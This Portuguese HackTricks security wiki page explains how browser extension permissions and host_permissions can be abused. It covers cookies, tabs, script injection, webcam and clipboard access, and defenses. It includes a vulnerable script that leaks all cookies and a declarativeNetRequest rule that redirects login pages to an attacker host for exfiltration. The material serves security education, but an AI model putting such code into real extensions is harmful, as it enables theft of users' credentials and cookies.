BrowExt - permissions & host_permissions

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

permissions

As permissions são definidas no arquivo manifest.json da extensão usando a propriedade permissions e permitem acesso a quase tudo que um navegador pode acessar (Cookies or Physical Storage):

O manifest anterior declara que a extensão requer a permissão storage. Isso significa que ela pode usar the storage API para armazenar seus dados de forma persistente. Ao contrário dos cookies ou das APIs localStorage, que dão aos usuários algum nível de controle, o storage da extensão normalmente só pode ser limpo desinstalando a extensão.

Uma extensão solicitará as permissões indicadas em seu arquivo manifest.json e, após instalar a extensão, você pode sempre verificar suas permissões no seu navegador, como mostrado nesta imagem:

Você pode encontrar a complete list of permissions a Chromium Browser Extension can request here e a complete list for Firefox extensions here.

host_permissions

A configuração opcional mas poderosa host_permissions indica com quais hosts a extensão poderá interagir via apis such as cookies, webRequest, and tabs.

Os seguintes host_permissions basicamente permitem acesso a todos os hosts web:

"host_permissions": [
"*://*/*"
]

// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]

// Or:
"host_permissions": [
"<all_urls>"
]

Estes são os hosts que a extensão do navegador pode acessar livremente. Isso ocorre porque quando uma extensão chama fetch("https://gmail.com/") ela não é restringida por CORS.

Abusando de permissions e host_permissions

Cookies

A permissão cookies permite que a extensão acesse todos os cookies do navegador. Neste post do blog essa permissão foi abusada através de um background script vulnerável para explorar uma extensão de navegador e fornecer ao atacante todos os cookies do navegador do usuário vítima que acessou a página maliciosa. O código vulnerável simplesmente estava enviando de volta todos os cookies:

chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);

Tabs

Além disso, host_permissions também desbloqueiam a “avançada” tabs API funcionalidade. Elas permitem que a extensão chame tabs.query() e não apenas obtenha uma lista das abas do navegador do usuário, mas também saiba qual página web (ou seja, endereço e título) está carregada.

Caution

Não só isso, ouvintes como tabs.onUpdated também se tornam muito mais úteis. Eles serão notificados sempre que uma nova página carregar em uma aba.

Running content scripts

Content scripts não precisam ser necessariamente escritos estaticamente no manifesto da extensão. Dadas host_permissions suficientes, extensões também podem carregá-los dinamicamente chamando tabs.executeScript() ou scripting.executeScript().

Ambas as APIs permitem executar não apenas arquivos contidos na extensão como content scripts, mas também código arbitrário. A primeira permite passar código JavaScript como string enquanto a segunda espera uma função JavaScript, o que é menos propenso a vulnerabilidades de injeção. Ainda assim, ambas as APIs causarão estragos se mal utilizadas.

Caution

Além das capacidades acima, content scripts podem por exemplo interceptar credenciais enquanto estas são digitadas em páginas web. Outra maneira clássica de abusar deles é injetar publicidade em todos e quaisquer sites. Adicionar mensagens de golpe para explorar a credibilidade de sites de notícias também é possível. Finalmente, eles podem manipular sites bancários para redirecionar transferências de dinheiro.

Implicit privileges

Alguns privilégios de extensão não precisam ser declarados explicitamente. Um exemplo é a tabs API: sua funcionalidade básica é acessível sem quaisquer privilégios. Qualquer extensão pode ser notificada quando você abre e fecha abas; ela simplesmente não saberá a qual site essas abas correspondem.

Parece inofensivo demais? A tabs.create() API é um pouco menos. Ela pode ser usada para criar uma nova aba, essencialmente o mesmo que window.open() que qualquer site pode chamar. Ainda assim, enquanto window.open() está sujeito ao bloqueador de pop-ups, tabs.create() não está.

Caution

Uma extensão pode criar qualquer número de abas quando quiser.

Se você olhar os possíveis parâmetros de tabs.create(), também notará que suas capacidades vão muito além do que window.open() pode controlar. E enquanto o Firefox não permite que URIs data: sejam usados com essa API, o Chrome não tem essa proteção. O uso de tais URIs no nível superior foi banido por serem abusados para phishing.

tabs.update() é muito semelhante a tabs.create() mas irá modificar uma aba existente. Assim, uma extensão maliciosa pode, por exemplo, carregar arbitrariamente uma página de publicidade em uma de suas abas, e também pode ativar a aba correspondente.

Webcam, geolocation and friends

Provavelmente você sabe que sites podem solicitar permissões especiais, por exemplo para acessar sua webcam (ferramentas de videochamada) ou localização geográfica (maps). São recursos com considerável potencial de abuso, então os usuários têm que confirmar cada vez que querem isso.

Caution

Não é assim com extensões de navegador. Se uma extensão quiser acesso à sua webcam ou microfone, ela só precisa pedir permissão uma vez

Tipicamente, uma extensão fará isso imediatamente após ser instalada. Uma vez que esse prompt é aceito, o acesso à webcam é possível a qualquer momento, mesmo se o usuário não estiver interagindo com a extensão naquele momento. Sim, o usuário só aceitará esse prompt se a extensão realmente precisar da webcam. Mas depois disso ele precisa confiar que a extensão não gravará nada secretamente.

Com acesso à sua localização geográfica exata ou ao conteúdo da sua clipboard, conceder permissão explicitamente é desnecessário. Uma extensão simplesmente adiciona geolocation ou clipboard à permissions entry do seu manifest. Esses privilégios de acesso são então concedidos implicitamente quando a extensão é instalada. Assim, uma extensão maliciosa ou comprometida com essas permissões pode criar seu perfil de deslocamento ou monitorar sua clipboard em busca de senhas copiadas sem que você perceba nada.

Adicionar a palavra-chave history à permissions entry do manifest da extensão concede acesso à history API. Ela permite recuperar todo o histórico de navegação do usuário de uma vez, sem esperar que o usuário visite esses sites novamente.

A permissão bookmarks tem potencial de abuso similar; ela permite ler todos os bookmarks via a bookmarks API.

Storage permission

O storage da extensão é meramente uma coleção chave-valor, muito similar ao localStorage que qualquer site poderia usar. Então nenhuma informação sensível deveria ser armazenada aqui.

No entanto, empresas de publicidade também poderiam abusar desse storage.

More permissions

Manifest V3 separou access a páginas das permissões de API: permissions ainda governa APIs privilegiadas (cookies, tabs, history, scripting, etc.) enquanto host_permissions controla quais origins essas APIs podem tocar. MV3 também tornou as host permissions concedíveis em runtime, então extensões podem ser distribuídas sem nenhuma e exibir um prompt de consentimento depois via chrome.permissions.request() — útil para fluxos legítimos de menor privilégio, mas também abusado por malware para escalar após estabelecer reputação.

Uma variante furtiva é declarativeNetRequestWithHostAccess (Chrome ≥96). Ela fornece o mesmo poder de bloqueio/redirect de requests que declarativeNetRequest mas mostra um prompt de instalação mais fraco do que permissões de host <all_urls>. Extensões maliciosas a usam para obter silenciosamente a capacidade de “bloquear/redirecionar em qualquer site”; teste prompts com chrome://extensions/?errors e chrome://extensions/?id=<id>.

Regras dinâmicas de declarativeNetRequest permitem que uma extensão reprogramar a política de rede em tempo de execução. Com acesso a hosts <all_urls> um atacante pode usá-la para sequestrar tráfego ou data exfil. Exemplo:

chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});

Chrome raised MV3 rule limits (≈330k static / 30k dynamic), so large coverage sets are feasible for interception/ads injection.

Padrões recentes de abuso

  • Atualizações trojanizadas na cadeia de suprimentos: Contas de desenvolvedor roubadas enviam atualizações MV3 que adicionam <all_urls> além de declarativeNetRequest/scripting/webRequest para injetar JS remoto e extrair cabeçalhos/conteúdo do DOM.
  • Drenagem de carteiras: O acesso a hosts junto com storage e tabs permite que extensões de wallet com backdoor exfiltrar seeds; chaves da Web Store API roubadas têm sido usadas para distribuir builds maliciosos.
  • Roubo de cookies: Qualquer extensão com cookies + acesso amplo a hosts pode ler cookies de autenticação apesar de HttpOnly — trate essa combinação como capaz de roubar credenciais.

Prevenção

A política de desenvolvedores do Google proíbe explicitamente que extensões solicitem mais privilégios do que o necessário para sua funcionalidade, mitigando efetivamente pedidos de permissão excessivos. Um caso em que uma extensão excedeu esse limite envolveu sua distribuição com o navegador em si em vez de através de uma loja de add-ons.

Os navegadores poderiam restringir ainda mais o uso indevido de privilégios de extensões. Por exemplo, as APIs tabCapture e desktopCapture do Chrome, usadas para gravação de tela, são projetadas para minimizar abusos. A API tabCapture só pode ser ativada por interação direta do usuário, como clicar no ícone da extensão, enquanto desktopCapture requer confirmação do usuário para que a janela seja gravada, evitando atividades de gravação clandestina.

No entanto, o aperto das medidas de segurança frequentemente resulta em menor flexibilidade e usabilidade das extensões. A activeTab permission ilustra essa troca. Ela foi introduzida para eliminar a necessidade de extensões solicitarem privilégios de host em toda a internet, permitindo que as extensões acessem apenas a aba atual mediante ativação explícita pelo usuário. Esse modelo é eficaz para extensões que exigem ações iniciadas pelo usuário, mas é insuficiente para aquelas que precisam de ações automáticas ou preemptivas, comprometendo assim conveniência e resposta imediata.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks